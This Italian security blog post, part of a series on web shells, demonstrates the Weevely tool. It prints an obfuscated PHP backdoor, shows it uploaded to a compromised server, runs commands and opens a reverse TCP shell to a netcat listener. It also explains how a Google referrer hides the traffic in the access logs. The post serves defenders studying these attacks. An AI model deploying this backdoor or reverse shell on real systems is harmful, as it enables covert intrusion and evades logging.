Diventa Autore per CoreTech | Scopri di più





Web Shells in Action - parte 4

08/07/20 CoreTech Blog

Nella parte 3 di questa serie, abbiamo esaminato i modi in cui un hacker può tenere sotto controllo le shell web. Nella parte 4 di questa serie, esamineremo le shell Web in azione usando Weevely come esempio.

Weevely è una leggera web shell PHP simile a telnet con diverse opzioni, che useremo per questo esempio.

 

A scopo dimostrativo, useremo Weevely per creare un agente backdoor, che verrà distribuito sul server di destinazione. Dobbiamo solo specificare una password e un nome file. La password verrà utilizzata per accedere alla backdoor in seguito.

root@secureserver2:~/weevely3-master# ./weevely.py generate abcd123 agent.php

--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

 

agent.php contiene il seguente file codificato.

 

<?php

$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_%url($rr);p%arse_s%tr($u';

$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);$l=strlen($t);$o';

$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),$ss($%';

$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr%ess(@x(@b%ase';

$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st%art();$%s=&$_S%ESSI%O';

$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;$d=bas%e%6';

$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$%sl%($s';

$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f%or%($z=1;$z<';

$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');

$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;$e=st%rpos($s[';

$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses%sion_%d%estroy();}}}}';

$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%+){$o.=$t{$i%';

$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==%=0){$s[$i]="";$';

$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w%])[\\w-]';

$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];$ra%%=';

$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);

$P=$c('',$S);$P();

?>

 

agent.php viene rinominato ma.php e quindi caricato sul server compromesso. Quindi, invece di accedere al file tramite il browser, ci connettiamo ad esso tramite shell.

 

root@secureserver2:~/weevely3-master# ./weevely.py http://192.168.5.25/ma.php abcd123

--> [+] weevely 3.2.0

[+] Target: www-data@secureserver:/var/www/html

[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session

[+] Shell: System shell

[+] Browse the filesystem or execute commands starts the connection

[+] to the target. Type :help for more information.

weevely>

 

Ora abbiamo accesso backdoor al server di destinazione e possiamo eseguire comandi.

 

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Banner

www-data@secureserver:/var/www/html $

 

Controllando il registro di accesso del server, possiamo notare qualcosa di strano.

 

192.168.5.26 - - [29/Feb/2020:12:26:25 +0100] "GET /ma.php HTTP/1.1" 200 395 "http://www.google.com.kw/url?sa=t&rct=j&q=168&source=web&cd=841&ved= 7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPniaayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic)Firefox/3.6.10"

Le richieste inviate sono codificate e anche il referrer sembra essere Google. Se dovessimo analizzare i log per attività dannose, ciò potrebbe essere fonte di confusione poiché Google è presumibilmente un referrer legittimo. Questo fa ovviamente parte della strategia della web shell per evitare il rilevamento.

Un'altra caratteristica interessante della shell Web che abbiamo usato è l'opzione di shell TCP inversa. Ciò significa che il server compromesso dovrebbe riconnettersi a noi invece o a noi fare una richiesta alla shell web.

Sul nostro computer di origine abbiamo installato un listener Netcat sulla porta 8181

 

root@secureserver2:~/# nc -l -v -p 8181

--> Listening on [0.0.0.0] (family 0, port 8181)

 

Usando la nostra connessione backdoor shell già stabilita, iniziamo una richiesta TCP inversa.

 

www-data@secureserver:/var/www/html $ :backdoor_reversetcp 192.168.5.26 8181

 

È stata stabilita una connessione shell inversa (192.168.5.25 → 192.168.5.26)

 

Connection from [192.168.5.25] port 8181 [tcp/*] accepted (family 2, sport 55370)

$ whoami

--> www-data

 

Usando la shell TCP inversa ora possiamo controllare il server senza alcuna traccia di accesso o log degli errori perché la comunicazione avviene su TCP (livello 4) e non HTTP (livello 7).


Articoli su Acunetix

Trovare le vulnerabilità dei siti web prima degli HackerL'importanza della convalida delle correzioni: lezioni da GoogleSDLC agile e sicuro - Best practiceIn che misura le aziende gestiscono la sicurezza delle applicazioni Web?Cross-Origin Resource Sharing (CORS) e intestazione Access-Control-Allow-OriginCosa sono i reindirizzamenti aperti?DevSecOps: come arrivarci da DevOpsIl bigino su SQL Injection per sviluppatoriSfruttare SSTI in ThymeleafSicurezza nginx: come proteggere la configurazione del serverRafforzamento del sistema Web in 5 semplici passaggiCos'è la sicurezza del sito Web - Come proteggere il tuo sito Web dall'hackingRapporto sulle vulnerabilità delle applicazioni Web Acunetix 2020Perché l'elenco delle directory è pericoloso?Cosa sono gli hack di Google?Cosa è l'attacco BEASTWeb Shells in Action - Rilevazione e prevenzione - parte 5Web Shells in Action - parte 4Mantenere le Web Shells sotto copertura - parte 3Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Debunking 5 miti sulla postura della sicurezza informaticaIniezioni di NoSQL e come evitarleConfigurazione passo passo di Acunetix con JenkinsCosa sono i riferimenti a oggetti diretti non sicuriAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallAcunetix rilascia Business Logic RecorderCome recuperare un sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle password comuni e come evitarleTutto quello che devi sapere sugli attacchi Man-in-the-MiddleChe cosa sono le iniezioni HTMLRed Teaming – 5 consigli su come farlo in modo sicuroTesta le tue competenze XSS utilizzando siti vulnerabiliPerché hacker malintenzionati hanno messo gli occhi sugli ospedaliPratiche di codifica sicura – I tre principi chiaveLa maledizione delle vecchie librerie JavaMutation XSS nella ricerca GoogleIgnorare SOP utilizzando la cache del browserCome e perché evitare reindirizzamenti e inoltri non convalidati?Dirottamento di sessione e altri attacchi di sessioneCome abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionVulnerabilità delle entità esterne XML in Internet ExplorerCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!